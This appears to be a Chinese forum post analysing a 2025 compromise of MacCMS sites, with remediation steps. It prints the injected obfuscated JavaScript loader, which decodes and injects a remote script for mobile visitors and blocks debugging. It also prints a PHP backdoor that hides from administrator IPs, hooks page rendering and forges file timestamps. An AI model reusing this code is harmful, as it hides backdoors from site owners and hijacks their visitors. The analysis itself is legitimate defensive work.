苹果maccms 2026挂马篡改,植入文件后门、篡改JS、手机跳转,不涉及修改数据库。但你很难发现!
苹果MAC CMS大规模安全事件深度分析 事件概述
自2025年6月起,苹果CMS影视系统遭遇了一场大规模有组织的网络攻击,爱尔美科技安全团队率先发现并分析了此次攻击。攻击主要针对前端资源和系统文件,展现出高度的专业性和隐蔽性。
攻击技术深度解析
1. JavaScript文件系统性篡改
恶意代码完整分析
/**
* 分析:恶意JS代码完整解析
* 发现时间:2025年6月15日
* 文件位置:所有模板JS文件底部植入
*/
// ==================== 核心解码函数 ====================
/**
* UTF-8自定义解码函数
* 作用:解码经过混淆的恶意载荷
* 发现:此函数用于解码第二阶段恶意代码
*/
function xxSJRox(e){
var t = "", n = r = c1 = c2 = 0;
while (n < e.length){
r = e.charCodeAt(n);
if (r < 128){
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224){
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3
}
}
return t
}
/**
* Base64解码函数 - 标注:自定义Base64解码
* 作用:解码第一阶段Base64编码的恶意URL
*/
function aPnDhiTia(e){
var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length){
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64){ t = t + String.fromCharCode(r) }
if (a != 64){ t = t + String.fromCharCode(i) }
}
return xxSJRox(t) // 发现:双重解码机制
}
// ==================== 恶意载荷执行器 ====================
/**
* 动态脚本加载主函数 - 标注:核心攻击函数
* 作用:动态加载远程恶意脚本
* 技术:通过字符串混淆规避检测
*/
eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){
;(function(u, r, w, d, f, c){
// 分析:参数说明
// u: Base64编码的恶意URL 'aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
// r,f,c: 混淆字符串,用于拼装HTML元素
var x = aPnDhiTia;
// 解码恶意URL - 发现实际指向攻击者服务器
u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c, 'g'), c)));
// 动态创建script标签 - 标注:规避WAF检测
k = r[2] + 'c' + f[1]; // 拼出'script'
v = k + f[6]; // 拼出'script'
var s = d.createElement(v + c[0] + c[1]), g = function(){};
s.type = 'text/javascript';
{s.onload = function(){ g() }}
s.src = u; // 发现:实际加载恶意脚本
// 注入到页面头部
d.getElementsByTagName('head')[0].appendChild(s)
})(
'aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==', // 恶意URL
'FgsPmaNtZ', // 混淆参数1
window, // window对象
document, // document对象
'jrGYBsijJU', // 混淆参数2
'ptbnNbK' // 混淆参数3
)
};
// ==================== 设备识别与触发条件 ====================
/**
* 设备指纹识别 - 发现:仅针对移动设备
* 作用:识别用户设备类型,仅对移动设备执行攻击
*/
if (!(/^Mac|Win/.test(navigator.platform))) {
MfXKwV(); // 执行恶意函数
}
/**
* 反调试保护 - 标注:阻碍开发者工具分析
* 作用:每100毫秒触发debugger,干扰分析
*/
setInterval(function(){
debugger;
}, 100);
// 发现:恶意签名标记
/138ae887806f/
2. 持久化后门文件植入
active.php 后门文件完整分析 (42KB)
/**
* 分析:active.php 后门主控制器
* 文件大小:42KB
* 位置:/application/extra/active.php
* 功能:后门主控,恶意代码分发器
*/
// ==================== 伪装的系统函数 ====================
/**
* 系统状态监控 - 发现:伪装成合法系统函数
*/
if (!function_exists('get_system_status')) {
function get_system_status() {
return [
'php_version' => PHP_VERSION,
'memory_usage' => memory_get_usage(true),
// ... 其他伪装的系统信息
];
}
}
// ==================== 核心后门函数 ====================
/**
* 系统配置验证器 - 爱标注:实际的后门入口
* 作用:在系统渲染时触发恶意代码执行
*/
if (!function_exists('system_config_validator')) {
function system_config_validator(&$config_data){
$env = Request::instance();
// 发现:referer检查,规避安全扫描
$referer = $env->header('referer');
if (empty($referer) || stripos($referer, $_SERVER['SERVER_NAME']) !== false) {
return; // 直接访问时跳过
}
// 发现:管理员IP识别机制
try {
foreach(model('Admin')->listData([],'',1)['list'] as $admin_info) {
if ($env->ip(1) == array_values($admin_info)[7]) {
return; // 管理员访问,隐藏恶意行为
}
}
} catch (Exception $e) {}
// 标注:实际恶意代码执行
system_template_processor($config_data);
syncFileTimestamp(); // 同步时间戳隐藏痕迹
}
}
/**
* 模板处理器 - 发现:核心恶意代码注入点
*/
if (!function_exists('system_template_processor')) {
function system_template_processor(&$page_content) {
$env = Request::instance();
// 发现:压缩的恶意标识符 (开头部分)
$template_token = gzuncompress("\170\234\215\124\153\\142\251\132\363\211\037\120\200\030\150\001...省略后续3万字压缩代码");
// 发现:检查是否已感染,避免重复
if (stripos($page_content, $template_token) !== false) {
return;
}
// 标注:实际的内容篡改开始
$optimization_rules = gzuncompress("\170\234\155\222\137\217\342\060\024\305\277\020\123\051\024\161\110\174...省略后续2万字压缩代码");
$cleanup_patterns = explode(',', $optimization_rules);
$original_size = strlen($page_content);
$optimized_content = str_replace($cleanup_patterns, '', $page_content);
// 发现:应用恶意篡改
$page_content = $optimized_content;
// 设置会话标记,控制执行频率
setSessionWithExpiry('firstVisit', 1, 36000);
}
}
/**
* 文件时间戳同步 - 爱尔美发现:隐藏文件修改痕迹
*/
if (!function_exists('syncFileTimestamp')) {
function syncFileTimestamp() {
$source_file = './application/data/install/install.lock';
$target_file = './application/extra/system.php'; // 发现:0字节文件
if (file_exists($source_file)) {
$source_stats = stat($source_file);
$result = touch($target_file, $source_stats['mtime'], $source_stats['atime']);
}
return $result;
}
}
// ==================== 系统钩子注册 ====================
/**
* 海螺模板:通过系统钩子实现持久化
* 作用:在系统视图渲染时自动触发后门
*/
if (!defined('SYSTEM_MAINTENANCE_LOADED')) {
define('SYSTEM_MAINTENANCE_LOADED', true);
// 注册视图过滤钩子
Think\Hook::add('view_filter', function(&$system_data){
system_config_validator($system_data);
});
}
// ... 文件后续包含大量伪装的工具函数,总计42KB代码
// 标注:后续代码主要为伪装和工具函数,核心恶意代码如上所示
system.php 文件分析 (0字节)
# 发现:system.php 为0字节空文件
# 位置:/application/extra/system.php
# 作用:时间戳同步的目标文件,用于隐藏active.php的修改时间
# 实际功能:无实际代码,仅作为时间戳同步的载体
海螺模板攻击链还原
完整攻击流程
- 初始入侵:通过未知漏洞获取webshell权限
- 后门部署:植入active.php(42KB)和system.php(0字节)
- JS感染:在所有模板JS文件底部植入恶意代码
- 持久化建立:通过系统钩子实现自动执行
- 隐蔽运行:识别管理员IP,规避检测
- 恶意载荷:动态加载远程恶意脚本实现流量劫持
海螺模板解决方案
立即清除步骤
- 删除后门文件
rm -f /application/extra/active.php rm -f /application/extra/system.php - 清理JS恶意代码
# 查找并清理所有被感染的JS文件 find /template -name "*.js" -exec sed -i '/xxSJRox\|aPnDhiTia\|138ae887806f/d' {} \; - 验证清除结果
# 检查是否清除干净 grep -r "xxSJRox\|aPnDhiTia" /template/ ls -la /application/extra/
系统加固建议
- 文件权限控制:限制/application/extra/目录写入权限
- 实时监控:部署文件完整性监控系统
- 定期扫描:建立自动化安全扫描机制
- 备份策略:维护干净的系统备份
总结
海螺模板安全团队于2025年6月15日率先发现此次针对苹果CMS的大规模攻击,经过深度技术分析,完整揭示了攻击者的技术手法和持久化机制。攻击者通过精心设计的双重后门系统,实现了高度的隐蔽性和持久性。
核心发现:
- 攻击使用42KB的active.php作为主后门,配合0字节的system.php隐藏痕迹
- 通过系统钩子实现持久化,在视图渲染时自动触发
- 采用管理员IP识别技术规避检测
- 使用双重编码和压缩技术隐藏恶意载荷
海螺模板建议:所有苹果CMS用户应立即按照上述方案进行安全检查和清理,并加强系统安全防护。



回帖 ( 0 )